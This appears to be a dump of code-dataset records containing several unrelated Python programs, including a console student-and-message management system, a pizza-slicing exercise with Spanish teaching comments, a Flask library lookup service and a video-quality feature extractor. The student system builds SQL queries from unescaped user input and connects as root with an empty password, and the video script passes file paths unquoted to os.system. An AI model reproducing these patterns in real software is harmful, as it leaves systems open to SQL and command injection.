cur.execute(sqlcmd)\n\t\tinfo = 'Change Success!'\n\t\tif res == 0:\n\t\t\tinfo = 'Cannot find this student'\n\t\telse :\n\t\t\ttemp = cur.fetchone()\n\t\t\tprint ('old information: |%s| |%s| |%s| |%s| |%s| |%s| |%s| |%s|' % (temp[0],temp[1],temp[2],temp[3],temp[4],temp[5],temp[6],temp[7]))\n\t\t\tname = input(' Name:')\n\t\t\tnumber = input('Student Number:')\n\t\t\tgender = input(' Gender:')\n\t\t\tbirth = input(' Born Date:')\n\t\t\tgrade = input(' Grade:')\n\t\t\tacademy= input(' Academy:')\n\t\t\tmajor = input(' Major:')\n\t\t\tteacher= input('Teacher Number:')\n\t\t\tsqlcmd = \"update StudentInfo Set Name='%s',StudentNo='%s',Gender='%s',Birth='%s',Grade='%s',Academy='%s',Major='%s',TeacherNo='%s' where StudentNo = '%s'\" % (name,number,gender,birth,grade,academy,major,teacher,studentNo)\n\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\tinfo = 'Change Fail!'\n\t\t\t\tself.conn.rollback()\n\t\t\telse :\n\t\t\t\tif number != temp[1]:\n\t\t\t\t\tsqlcmd = \"update LoginAccount set Account='%s' where Account='%s'\" %(number,temp[1])\n\t\t\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\t\t\tinfo = 'Change Fail!'\n\t\t\t\t\t\tself.conn.rollback()\n\t\t\t\t\telse :\n\t\t\t\t\t\tself.conn.commit()\n\t\t\t\telse :\n\t\t\t\t\tself.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\t\t\n\tdef InitStudentPassword(self):\n\t\t####初始化学生密码\n\t\tcur = self.conn.cursor()\n\t\tsqlcmd = 'select Password from DefaultPassword where AccountLevel = 2'\n\t\tinfo = 'Initial Success!'\n\t\tif cur.execute(sqlcmd) == 0: \n\t\t\tinfo = 'Initial Fail'\n\t\t\tself.conn.rollback()\n\t\telse:\n\t\t\tnewPw = cur.fetchone()\n\t\t\tif not newPw: \n\t\t\t\tinfo = 'Initial Fail'\n\t\t\t\tself.conn.rollback()\n\t\t\telse:\n\t\t\t\tstudentNo = input('Student Number:')\n\t\t\t\tsqlcmd = \"select Password from LoginAccount where Account = '%s'\" % studentNo\n\t\t\t\tcur.execute(sqlcmd)\n\t\t\t\toldPw = cur.fetchone()\n\t\t\t\tif oldPw[0] != newPw[0]:\n\t\t\t\t\tsqlcmd = \"update LoginAccount set Password='%s' where Account = '%s'\" %(newPw[0],studentNo)\n\t\t\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\t\t\tinfo = 'Initial Fail'\t\n\t\t\t\t\t\tself.conn.rollback()\n\t\t\t\t\telse: \n\t\t\t\t\t\tself.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\t\t\n\tdef\tDeleteStudent(self,):\n\t\t####删除学生信息\n\t\tcur = self.conn.cursor()\n\t\tprint (' Delete Student')\n\t\tstudentNo = input('Student Number:')\n\t\tsqlcmd = \"delete from StudentInfo where StudentNo = '%s'\" % studentNo\n\t\tres = cur.execute(sqlcmd)\n\t\tinfo = 'Delete Success!'\n\t\tif res == 0:\n\t\t\tinfo = 'Delete Fail!'\n\t\t\tself.conn.rollback()\n\t\telse :\n\t\t\tsqlcmd = \"delete from LoginAccount where Account = '%s'\" % studentNo\n\t\t\tres = cur.execute(sqlcmd)\n\t\t\tif res == 0: \n\t\t\t\tinfo = 'Delete Fail!'\n\t\t\t\tself.conn.rollback()\n\t\t\telse : self.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\t\t\n\tdef OperatMessage(self):\n\t\t####操作消息\n\t\tinfo = ''\n\t\twhile True:\n\t\t\tself.MessageSurface(info)\n\t\t\tself.MessageList()\n\t\t\tchoice = input('What to do?')\n\t\t\tchoice = choice.upper()\n\t\t\tif choice == 'D':\n\t\t\t\tinfo = self.DeleteMessage()\n\t\t\telif choice == 'P':\n\t\t\t\tinfo = self.CreateMessage()\n\t\t\telif choice == 'C':\n\t\t\t\tinfo = self.CheckMessage()\n\t\t\telif choice == 'M':\n\t\t\t\tmsg = input('Message Id:')\n\t\t\t\tinfo = self.MessageInfo(msg)\n\t\t\telif choice == 'Q': break\n\t\t\telse : info = 'Error Action!'\n\tdef MessageInfo(self,MsgNo):\n\t\t####查看详细消息, MsgNo消息编号\n\t\tcur = self.conn.cursor()\n\t\tsqlcmd = \"select SenderName,SendTime,Title,Content from AllMessage where Id = %d\" % MsgNo\n\t\tif cur.execute(sqlcmd) == 0:\n\t\t\tcur.close()\n\t\t\treturn 'Read Fail!'\n\t\tarticle = cur.fetchone()\n\t\tcur.close()\n\t\tos.system('cls')\n\t\tprint ('=' * self.width)\n\t\tprint (' ' * ((self.width - len(article[2]))/2) , article[2])\n\t\thead = article[0] + ' ' + str(article[1])\n\t\tprint( ' ' * ((self.width - len(head))/2) , head)\n\t\tprint ('-' * self.width)\n\t\tprint (article[3])\n\t\tprint ('=' * self.width)\n\t\tinput('Press any key to return!')\n\t\treturn ''\n\t\t\n\tdef MessageList(self):\n\t\t####查看消息列表\n\t\tcur = self.conn.cursor()\n\t\tprint ('')\n\t\tsqlcmd = \"select Id,SenderName,SendTime,Title from AllMessage where statu = 'pass'\"\n\t\tif cur.execute(sqlcmd) == 0: return \n\t\tprint ('-' * self.width)\n\t\twhile True:\n\t\t\ttemp = cur.fetchone()\n\t\t\tif not temp: break;\n\t\t\tprint ('%3d%-20s%-50s%s' % (temp[0],temp[1],temp[3],temp[2]))\n\t\t\tprint ('-' * self.width)\n\t\tcur.close()\n\t\t\n\tdef CreateMessage(self):\n\t\t####发布消息\n\t\tprint ('')\n\t\tprint (' Publish Messsage')\n\t\ttitle = input('Message Title:')\n\t\tpath = input('Message Path:')\n\t\tfp = open(path,'r')\n\t\tbody = fp.read()\n\t\tfp.close()\n\t\tsqlcmd = \"insert into AllMessage(MsgLevel,SenderNo,SenderName,SendTime,Title,Content,statu) values(0,'%s','Admin',now(),'%s','%s','pass')\" % (self.account,title,body)\n\t\tcur = self.conn.cursor()\n\t\tinfo = 'Publish Success!'\n\t\tif 0 == cur.execute(sqlcmd):\n\t\t\tinfo = 'Publish Fail'\n\t\t\tself.conn.rollback()\n\t\telse:\n\t\t\tself.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\t\t\n\tdef DeleteMessage(self):\n\t\t####删除消息\n\t\tprint ('')\n\t\tprint (' Delete Message')\n\t\tMsgNo = input('Message id = ')\n\t\tcur = self.conn.cursor()\n\t\tsqlcmd = \"delete from AllMessage where Id = %d\" % MsgNo\n\t\tinfo = 'Delete Success!'\n\t\tif cur.execute(sqlcmd) == 0:\n\t\t\tinfo = 'Delete Fail'\n\t\t\tself.conn.rollback()\n\t\telse :\n\t\t\tself.conn.commit()\n\t\tcur.close()\n\t\treturn info\n\t\t\n\tdef CheckMessage(self):\n\t\t####审核消息\n\t\tcur = self.conn.cursor()\n\t\tMsgCount = cur.execute(\"select Id,SenderNo,SenderName,SendTime,Title,Content from AllMessage where statu = 'wait'\")\n\t\tinfo = 'All Messages Were Checked!'\n\t\tMsgInfo = 'You have %d messages need to check!' % MsgCount\n\t\twhile MsgCount > 0:\n\t\t\tself.WaitMessageSurface(MsgInfo)\n\t\t\tmsg = cur.fetchone()\n\t\t\tprint (' ' * ((self.width - len(msg[4]))/2),msg[4])\n\t\t\tprint ('Sender Name:',msg[2], ' Sender Number:',msg[1], ' Time:',msg[3])\n\t\t\tprint (msg[5])\n\t\t\tprint ('-' * self.width)\n\t\t\tchoice = input('What to do?')\n\t\t\tchoice = choice.upper()\n\t\t\tMsgCount -= 1\n\t\t\tMsgInfo = 'You have %d messages need to check!' % MsgCount\n\t\t\tif choice == 'I':\n\t\t\t\tcontinue\n\t\t\telif choice == 'P':\n\t\t\t\tsqlcmd = \"update AllMessage set statu = 'pass' where Id = %d\" % msg[0]\n\t\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\t\tMsgInfo = 'Check Fail!'\n\t\t\t\t\tself.conn.rollback()\n\t\t\t\telse: self.conn.commit()\n\t\t\telif choice == 'F':\n\t\t\t\tsqlcmd = \"update AllMessage set statu = 'fail' where Id = %d\" % msg[0]\n\t\t\t\tif cur.execute(sqlcmd) == 0:\n\t\t\t\t\tMsgInfo = 'Check Fail!'\n\t\t\t\t\tself.conn.rollback()\n\t\t\t\telse: self.conn.commit()\n\t\t\telif choice == 'Q': break;\n\t\t\telse : info = 'Error Action!'\n\t\tcur.close()\n\t\tif MsgCount != 0:\n\t\t\tinfo = 'Still have %d Messages wait for dealing!' % MsgCount\n\t\treturn info\n\t\t\n\tdef MainSurface(self,info):\n\t\t#####主界面\n\t\tos.system('cls')\n\t\ttitle = 'Welcome, Administor!'\n\t\tbody1 = '[T]Teachers Information'\n\t\tbody2 = '[S]Students Information'\n\t\tbody3 = '[M]Message Information'\n\t\tbody4 = '[Q]Quit'\n\t\tprint ('=' * self.width)\n\t\tprint (' ' * ((self.width-len(title))/2),title)\n\t\tprint (' ' * ((self.width-len(body1))/2),body1)\n\t\tprint (' ' * ((self.width-len(body1))/2),body2)\n\t\tprint (' ' * ((self.width-len(body1))/2),body3)\n\t\tprint (' ' * ((self.width-len(body1))/2),body4)\n\t\tprint (' ' * ((self.width-len(info))/2),info)\n\t\tprint ('=' * self.width)\n\t\t\n\tdef StudentInfoSurface(self,info):\n\t\t####学生信息界面\n\t\tos.system('cls')\n\t\ttitle = 'STUDENT LIST'\n\t\tbody1 = '[R]Register New Student'\n\t\tbody2 = '[C]Change Student Information'\n\t\tbody3 = '[I]Initial Student Password'\n\t\tbody4 = '[D]Delete Student Information'\n\t\tbody5 = '[Q]Quit'\n\t\tprint('=' * self.width)\n\t\tprint(' ' * ((self.width - len(title)) / 2), title)\n\t\tprint(' ' * ((self.width - len(body1)) / 2), body1)\n\t\tprint(' ' * ((self.width - len(body1)) / 2), body2)\n\t\tprint(' ' * ((self.width - len(body1)) / 2), body3)\n\t\tprint(' ' * ((self.width - len(body1)) / 2), body4)\n\t\tprint(' ' * ((self.width - len(body1)) / 2), body5)\n\t\tprint(' ' * ((self.width - len(info)) / 2), info)\n\t\tprint('=' * self.width)\n\t\t\n\tdef TeacherInfoSurface(self,info):\n\t\t####教职工信息界面\n\t\tos.system('cls')\n\t\ttitle = 'TEACHER LIST'\n\t\tbody1 = '[R]Register New Teacher'\n\t\tbody2 = '[C]Change Teacher Information'\n\t\tbody3 = '[I]Initial Teacher Password'\n\t\tbody4 = '[D]Delete Teacher Information'\n\t\tbody5 = '[Q]Quit'\n\t\tprint ('=' * self.width)\n\t\tprint (' ' * ((self.width-len(title))/2),title)\n\t\tprint (' ' * ((self.width-len(body1))/2),body1)\n\t\tprint (' ' * ((self.width-len(body1))/2),body2)\n\t\tprint (' ' * ((self.width-len(body1))/2),body3)\n\t\tprint (' ' * ((self.width-len(body1))/2),body4)\n\t\tprint (' ' * ((self.width-len(body1))/2),body5)\n\t\tprint (' ' * ((self.width-len(info))/2),info)\n\t\tprint ('=' * self.width)\n\t\t\n\tdef MessageSurface(self,info):\n\t\t####消息列表界面\n\t\tos.system('cls')\n\t\ttitle = 'MESSAGE LIST'\n\t\tbody1 = '[P]Publish Message'\n\t\tbody2 = '[C]Check Message'\n\t\tbody3 = '[D]Delete Message'\n\t\tbody4 = '[M]Message Detail'\n\t\tbody5 = '[Q]Quit'\n\t\tprint ('=' * self.width)\n\t\tprint (' ' * ((self.width-len(title))/2),title)\n\t\tprint (' ' * ((self.width-len(body1))/2),body1)\n\t\tprint (' ' * ((self.width-len(body1))/2),body2)\n\t\tprint (' ' * ((self.width-len(body1))/2),body3)\n\t\tprint (' ' * ((self.width-len(body1))/2),body4)\n\t\tprint (' ' * ((self.width-len(body1))/2),body5)\n\t\tprint (' ' * ((self.width-len(info))/2),info)\n\t\tprint ('=' * self.width)\n\tdef WaitMessageSurface(self,info):\n\t\t####审核消息界面\n\t\tos.system('cls')\n\t\ttitle = 'CHECK MESSAGE'\n\t\tbody1 = '[I]Ignore'\n\t\tbody2 = '[P]Pass'\n\t\tbody3 = '[F]Fail'\n\t\tbody4 = '[Q]Quit'\n\t\tprint ('=' * self.width)\n\t\tprint (' ' * ((self.width-len(title))/2),title)\n\t\tprint (' ' * ((self.width-len(body1))/2),body1)\n\t\tprint (' ' * ((self.width-len(body1))/2),body2)\n\t\tprint (' ' * ((self.width-len(body1))/2),body3)\n\t\tprint (' ' * ((self.width-len(body1))/2),body4)\n\t\tprint (' ' * ((self.width-len(info))/2),info)\n\t\tprint ('=' * self.width)\n\nif __name__ == '__main__':\n\tconn = pymysql.connect(user = 'root',passwd = '',db = 'DB_EducationalManagementSystem');\n\tsm = SystemManager(conn,'123','123456')\n\tsm.MainFunc()\n\tconn.close()","sub_path":"SystemManager.py","file_name":"SystemManager.py","file_ext":"py","file_size_in_byte":18671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"260541833","text":"# Estos inputs estan perfectos, muy bien!.\n# yo le agregaria un espacio al final la solicitud del dato:\n# Ejemplo: input (\"Cantidad de pizzas: \")\npizzas = int(input (\"cantidad de pizzas: \")) \nrebanadasDePizzas = int(input (\"rebanada de pizzas: \"))\npersonas = int(input(\"cantidad de personas: \"))\n\n# 1. No puedes convertir \"sin dueño\" a entero solo numeros ejemplos: 1, 56, 150\n# 2. Nunca usas la variable sobra en los calculos o para imprimir, entonces no la declares.\n# sobra = int (input (\"sin dueño\"))\n\n# Para hacer los calculos no debes usar la funcion conversor int(), puede usar el operador //\n# simplemente las variables y los operadores, recuerde que ya los convirtio antes.\n# Nombres muy largos de variables trata de evitarlos pero si los usas\n# inicia con minuscula y cada nueva palabra inicia con Mayuscula, es mas legible\n# Por ejemplo : rebanadasCorrespondientes, rebanadasDePizza\n# rebanadascorrespondientes = int((\"pizzas * rebanadadepizzas)/personas\" ))\nrebanadasCorrespondientes = pizzas * rebanadasDePizzas // personas\n\n# Igual aquí, no hace falta la funcion conversor int() despues de la coma solo la variable\n# y ten cuidado con los nombres de las varibles, digitaste corespondientes con una 'r'.\n# print((\"cantidad de rebanadas por personas\"), int(\"rebanadascorespondientes\"))\nprint(\"\\tCantidad de rebanadas por persona:\", rebanadasCorrespondientes)\n\n# 1. Trata de no usar 'ñ' en nombres de variables\n# 2. De nuevo no hace falta la funcion conversora int()\n# 3. La doble comilla (\"\") la usaste alredor de toda la formula, en un calculo no la uses.\n# sindueño = int(\"pizzas * rebanadasdepizzas) - ( personas * rebanadascorrespondientes)\")\nsinDueno = (pizzas * rebanadasDePizzas) - ( personas * rebanadasCorrespondientes)\n\n# Si intentas imprimir las variables, entoces No agregues las comillas.\nprint(\"\\tRebanadas sin dueño:\", sinDueno)\n","sub_path":"s02/T03_RepartidorPizza/PizzaFixed.py","file_name":"PizzaFixed.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"199039161","text":"import requests\nimport xmltodict\nimport json\n\nfrom flask import Flask, request\napp = Flask(__name__)\n\nname_map = {\"01ALLIANCE_COCC\": \"Central Oregon Community College\",\n \"01ALLIANCE_CWU\": \"Central Washington University\",\n \"01ALLIANCE_CHEMEK\": \"Chemeketa Community College\",\n \"01ALLIANCE_CCC\": \"Clackamas Community College\",\n \"01ALLIANCE_CC\": \"Clark College\",\n \"01ALLIANCE_CONC\": \"Concordia University\",\n \"01ALLIANCE_EOU\": \"Eastern Oregon University\",\n \"01ALLIANCE_EWU\": \"Eastern Washington University\",\n \"01ALLIANCE_GFU\": \"George Fox University\",\n \"01ALLIANCE_LANECC\": \"Lane Community College\",\n \"01ALLIANCE_LCC\": \"Lewis & Clark\",\n \"01ALLIANCE_LINF\": \"Linfield College\",\n \"01ALLIANCE_MHCC\": \"Mt Hood Community College\",\n \"01ALLIANCE_OHSU\": \"Oregon Health & Science University\",\n \"01ALLIANCE_OIT\": \"Oregon Institute of Technology\",\n \"01ALLIANCE_OSU\": \"Oregon State University\",\n \"01ALLIANCE_PU\": \"Pacific University\",\n \"01ALLIANCE_PCC\": \"Portland Community College\",\n \"01ALLIANCE_PSU\": \"Portland State University\",\n \"01ALLIANCE_REED\": \"Reed College\",\n \"01ALLIANCE_STMU\": \"Saint Martin's University\",\n \"01ALLIANCE_SPU\": \"Seattle Pacific University\",\n \"01ALLIANCE_SEAU\": \"Seattle University\",\n \"01ALLIANCE_SOU\": \"Southern Oregon University\",\n \"01ALLIANCE_EVSC\": \"The Evergreen State College\",\n \"01ALLIANCE_UID\": \"University of Idaho\",\n \"01ALLIANCE_UO\": \"University of Oregon\",\n \"01ALLIANCE_UPORT\": \"University of Portland\",\n \"01ALLIANCE_UPUGS\": \"University of Puget Sound\",\n \"01ALLIANCE_UW\": \"University of Washington\",\n \"01ALLIANCE_WALLA\": \"Walla Walla University\",\n \"01ALLIANCE_WPC\": \"Warner Pacific College\",\n \"01ALLIANCE_WSU\": \"Washington State University\",\n \"01ALLIANCE_WOU\": \"Western Oregon University\",\n \"01ALLIANCE_WWU\": \"Western Washington University\",\n \"01ALLIANCE_WHITC\": \"Whitman College\",\n \"01ALLIANCE_WW\": \"Whitworth University\",\n \"01ALLIANCE_WU\": \"Willamette University\"\n }\n\n@app.route('/')\ndef hello_world():\n return 'Hello, World!'\n\n@app.route('/get_holdings')\ndef get_holdings():\n try:\n oclc_num = request.args[\"oclc_num\"]\n except KeyError as e:\n return \"no OCLC num supplied\"\n\n api_url_template = \"https://na01.alma.exlibrisgroup.com/view/sru/01ALLIANCE_NETWORK?version=1.2&operation=searchRetrieve&query=alma.other_system_number=(OCoLC){}\".format(oclc_num)\n\n res = requests.get(api_url_template)\n dict_response = xmltodict.parse(res.text)\n try:\n record_set = dict_response[\"searchRetrieveResponse\"][\"records\"][\"record\"][\"recordData\"][\"record\"][\"datafield\"]\n except TypeError as e:\n return \"Not in summit at all.\"\n\n libraries_that_have = []\n \n for record in record_set:\n if record[\"@tag\"] == \"852\":\n libraries_that_have.append(name_map[record[\"subfield\"][0][\"#text\"]])\n\n if len(libraries_that_have) == 0:\n return \"Nowhere in Summit\"\n\n return \", \".join(libraries_that_have)\n\n\n\n\n","sub_path":"lookup_service.py","file_name":"lookup_service.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"501684162","text":"\ndef check(enemy , n, k):\n if k >= len(enemy):\n return True \n\n enemy.sort(reverse=True)\n \n for i in range(k):\n enemy[i] = 0\n \n if sum(enemy) <= n:\n return True\n else:\n return False\n \ndef solution(n, k, enemy):\n left = 0\n right = len(enemy) + 1\n\n while( left + 1 < right ):\n mid = (left + right) // 2\n if check(enemy[:mid], n, k):\n left = mid \n else:\n right = mid\n \n return left\n\n","sub_path":"프로그래머스/unrated/142085. 디펜스 게임/디펜스 게임.py","file_name":"디펜스 게임.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"507805408","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchvision\nfrom torchvision import datasets, models, transforms\nimport matplotlib.pyplot as plt\nimport time\nimport os\nimport copy\nimport pandas as pd\nfrom tqdm import tqdm\nfrom scipy import stats\nimport pandas\nimport scipy.io\nimport numpy as np\nimport argparse\nimport time\nimport math\nimport os, sys\nimport cv2\nimport numpy as np\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn import preprocessing\nfrom scipy.optimize import curve_fit\nfrom sklearn.svm import SVR\nfrom sklearn.svm import LinearSVR\nfrom sklearn.model_selection import RandomizedSearchCV\nimport scipy.stats\nfrom scipy.io import savemat\nfrom concurrent import futures\nimport functools\nimport warnings\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nwarnings.filterwarnings(\"ignore\")\n\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\n# device = torch.device(\"cpu\") # for debug only\nprint(device)\n\n# ----------------------- Set System logger ------------- #\nclass Logger:\n def __init__(self, log_file):\n self.terminal = sys.stdout\n self.log = open(log_file, \"a\")\n\n def write(self, message):\n self.terminal.write(message)\n self.log.write(message) \n\n def flush(self):\n #this flush method is needed for python 3 compatibility.\n #this handles the flush command by doing nothing.\n #you might want to specify some extra behavior here.\n pass\n\ndef arg_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument('--model_name', type=str, default='KONCEPT512',\n help='Evaluated BVQA model name.')\n parser.add_argument('--dataset_name', type=str, default='YOUTUBE_UGC',\n help='Evaluation dataset.')\n parser.add_argument('--dataset_path', type=str, default='/media/ztu/Seagate-ztu-ugc/YT_UGC/original_videos',\n help='Dataset path.')\n parser.add_argument('--vframes_path', type=str, default='video_frames/YOUTUBE_UGC', help='Path to decoded video frames.')\n parser.add_argument('--mos_file', type=str,\n default='/home/ztu/Desktop/git_workspace/Video-FRIQUEE/mos_feat_files/YOUTUBE_UGC_metadata.csv',\n help='Dataset MOS scores.')\n parser.add_argument('--out_file', type=str,\n default='result/YOUTUBE_UGC_KONCEPT512_feats.mat',\n help='Output correlation results')\n parser.add_argument('--log_file', type=str,\n default='logs/logs_debug.log',\n help='Log files.')\n parser.add_argument('--color_only', action='store_true',\n help='Evaluate color values only. (Only for YouTube UGC)')\n parser.add_argument('--log_short', action='store_true',\n help='Whether log short')\n parser.add_argument('--use_parallel', action='store_true',\n help='Use parallel for iterations.')\n args = parser.parse_args()\n return args\n\n# read YUV frame from file\ndef read_YUVframe(f_stream, width, height, idx):\n fr_offset = 1.5\n uv_width = width // 2\n uv_height = height // 2\n\n f_stream.seek(idx*fr_offset*width*height)\n\n # Read Y plane\n Y = np.fromfile(f_stream, dtype=np.uint8, count=width*height)\n if len(Y) < width * height:\n Y = U = V = None\n return Y, U, V\n Y = Y.reshape((height, width, 1)).astype(np.float)\n\n # Read U plane \n U = np.fromfile(f_stream, dtype=np.uint8, count=uv_width*uv_height)\n if len(U) < uv_width * uv_height:\n Y = U = V = None\n return Y, U, V\n U = U.reshape((uv_height, uv_width, 1)).repeat(2, axis=0).repeat(2, axis=1).astype(np.float)\n # U = cv2.resize(U, (width, height), interpolation=cv2.INTER_CUBIC)\n\n # Read V plane\n V = np.fromfile(f_stream, dtype=np.uint8, count=uv_width*uv_height)\n if len(V) < uv_width * uv_height:\n Y = U = V = None\n return Y, U, V\n V = V.reshape((uv_height, uv_width, 1)).repeat(2, axis=0).repeat(2, axis=1).astype(np.float)\n # V = cv2.resize(V, (width, height), interpolation=cv2.INTER_CUBIC)\n YUV = np.concatenate((Y, U, V), axis=2)\n return YUV\n\n# ref: https://gist.github.com/chenhu66/41126063f114410a6c8ce5c3994a3ce2\nimport numpy as np\n#input is a RGB numpy array with shape (height,width,3), can be uint,int, float or double, values expected in the range 0..255\n#output is a double YUV numpy array with shape (height,width,3), values in the range 0..255\ndef RGB2YUV( rgb ):\n m = np.array([[ 0.29900, -0.16874, 0.50000],\n [0.58700, -0.33126, -0.41869],\n [ 0.11400, 0.50000, -0.08131]])\n yuv = np.dot(rgb,m)\n yuv[:,:,1:]+=128.0\n return yuv\n\n#input is an YUV numpy array with shape (height,width,3) can be uint,int, float or double, values expected in the range 0..255\n#output is a double RGB numpy array with shape (height,width,3), values in the range 0..255\ndef YUV2RGB( yuv ):\n m = np.array([[ 1.0, 1.0, 1.0],\n [-0.000007154783816076815, -0.3441331386566162, 1.7720025777816772],\n [ 1.4019975662231445, -0.7141380310058594 , 0.00001542569043522235] ])\n rgb = np.dot(yuv,m)\n rgb[:,:,0]-=179.45477266423404\n rgb[:,:,1]+=135.45870971679688\n rgb[:,:,2]-=226.8183044444304\n return rgb.clip(0, 255).astype(np.uint8)\n\ndef YUV2RGB_OpenCV(YUV):\n YVU = YUV[:, :, [0, 2, 1]] # swap UV \n return cv2.cvtColor(YVU.astype(np.uint8), cv2.COLOR_YCrCb2RGB)\n\ndata_transforms = {\n 'train': transforms.Compose([\n# transforms.RandomResizedCrop(input_size),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\n# transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n\n ]),\n 'val': transforms.Compose([\n transforms.Resize((384,512), interpolation=Image.BILINEAR),\n# transforms.CenterCrop(input_size),\n transforms.ToTensor(),\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\n ]),\n}\n\nfrom inceptionresnetv2 import inceptionresnetv2\nclass model_qa(nn.Module):\n def __init__(self,num_classes,**kwargs):\n super(model_qa,self).__init__()\n base_model = inceptionresnetv2(num_classes=1000, pretrained='imagenet')\n self.base= nn.Sequential(*list(base_model.children())[:-1])\n self.fc = nn.Sequential(\n nn.Linear(1536, 2048),\n nn.ReLU(inplace=True),\n nn.BatchNorm1d(2048),\n nn.Dropout(p=0.25),\n nn.Linear(2048, 1024),\n nn.ReLU(inplace=True),\n nn.BatchNorm1d(1024),\n nn.Dropout(p=0.25),\n nn.Linear(1024, 256),\n nn.ReLU(inplace=True),\n nn.BatchNorm1d(256),\n nn.Dropout(p=0.5),\n nn.Linear(256, num_classes),\n )\n\n def forward(self,x):\n x = self.base(x)\n x = x.view(x.size(0), -1)\n x_feats = self.fc[:-1](x)\n x = self.fc[-1](x_feats)\n return x, x_feats\n\ndef main(args):\n video_tmp = '/media/ztu/Data/tmp' # store tmp decoded .yuv file\n if not os.path.exists(video_tmp):\n os.makedirs(video_tmp)\n\n out_dir = os.path.dirname(args.out_file) # create out file parent dir if not exists\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n \n mos_mat = pandas.read_csv(args.mos_file)\n num_videos = mos_mat.shape[0]\n\n feats_mat = []\n time_cnts_all = []\n # init koncept512 model only once - oom issues\n KonCept512 = model_qa(num_classes=1) \n model_state = torch.load('./KonCept512.pth', map_location=lambda storage, loc: storage)\n KonCept512.load_state_dict(model_state)\n KonCept512 = KonCept512.to(device)\n KonCept512.eval()\n for i in range(num_videos):\n if args.dataset_name == 'KONVID_1K':\n video_name = os.path.join(args.dataset_path, str(mos_mat.loc[i, 'flickr_id'])+'.mp4')\n elif args.dataset_name == 'LIVE_VQC':\n video_name = os.path.join(args.dataset_path, mos_mat.loc[i, 'File'])\n elif args.dataset_name == 'YOUTUBE_UGC':\n video_name = os.path.join(args.dataset_path, mos_mat.loc[i, 'category'],\n str(mos_mat.loc[i, 'resolution'])+'P',\n mos_mat.loc[i, 'vid']+'.mkv')\n yuv_name = os.path.join(video_tmp, os.path.basename(video_name)+'.yuv')\n\n print(f\"Computing features for {i}th sequence: {video_name}\")\n\n # decode video and store in tmp\n cmd = 'ffmpeg -loglevel error -y -i ' + video_name + ' -pix_fmt yuv420p -vsync 0 ' + yuv_name\n os.system(cmd)\n\n # calculate number of frames \n width = mos_mat.loc[i, 'width']\n height = mos_mat.loc[i, 'height']\n framerate = int(round(mos_mat.loc[i, 'framerate']))\n test_stream = open(yuv_name, 'r') \n test_stream.seek(0, os.SEEK_END)\n filesize = test_stream.tell()\n num_frames = int(filesize/(height*width*1.5)) # for 8-bit videos\n \n frame_feats = [] # frames features\n t_cnts = []\n frames_path = os.path.join(args.vframes_path, f'{i:04}'+os.path.basename(video_name).split('.')[0])\n if not os.path.exists(frames_path):\n os.makedirs(frames_path)\n for fr in range(framerate // 2, num_frames-3, framerate):\n this_yuv = read_YUVframe(test_stream, width, height, fr)\n this_rgb_frame = YUV2RGB_OpenCV(this_yuv)\n frame = Image.fromarray(this_rgb_frame, mode='RGB')\n frame.save(os.path.join(frames_path, f'frame_{fr}.png'))\n # run koncept\n frame = data_transforms['val'](frame)\n frame = frame.unsqueeze_(0)\n frame = frame.to(device)\n\n t_start = time.time()\n output, output_feats = KonCept512(frame)\n t_cnts.append(time.time() - t_start)\n\n output = output.data.cpu().numpy()[0]\n output_feats = output_feats.data.cpu().numpy()[0]\n output_cat = np.concatenate((output, output_feats))\n frame_feats.append(output_cat)\n \n feats_mat.append(frame_feats)\n t_each = sum(t_cnts)\n print(f\"Elapsed {t_each} seconds\")\n time_cnts_all.append(t_each)\n\n #delete decoded video\n test_stream.close()\n os.remove(yuv_name)\n savemat(args.out_file, {\"feats_mat\": feats_mat})\n\n\nif __name__ == '__main__':\n args = arg_parser()\n log_dir = os.path.dirname(args.log_file) # create out file parent dir if not exists\n if not os.path.exists(log_dir):\n os.makedirs(log_dir)\n if not os.path.exists(args.vframes_path):\n os.makedirs(args.vframes_path)\n sys.stdout = Logger(args.log_file)\n main(args)","sub_path":"demo_run_koncept512_feature_extract.py","file_name":"demo_run_koncept512_feature_extract.py","file_ext":"py","file_size_in_byte":10519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"263265807","text":"#!/usr/bin/python3\n\nimport sys\n\nif len(sys.argv) < 2:\n\tsys.exit(\"Argumenti\")\n\t\nfor arg in sys.argv:\n\tprint(arg)\n\ntry:\n\tf = open(sys.argv[1], \"r\")\nexcept IOError:\n\tsys.exit(\"open\");\n\t\nfor l in f:\n\tprint(l, end=\"\")\n\t\nf.close()\n","sub_path":"Prevođenje programskih jezika/sve2019/2_1/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"19024563","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\ndef getHTMLText(url, headers):\r\n try:\r\n r = requests.get(url, 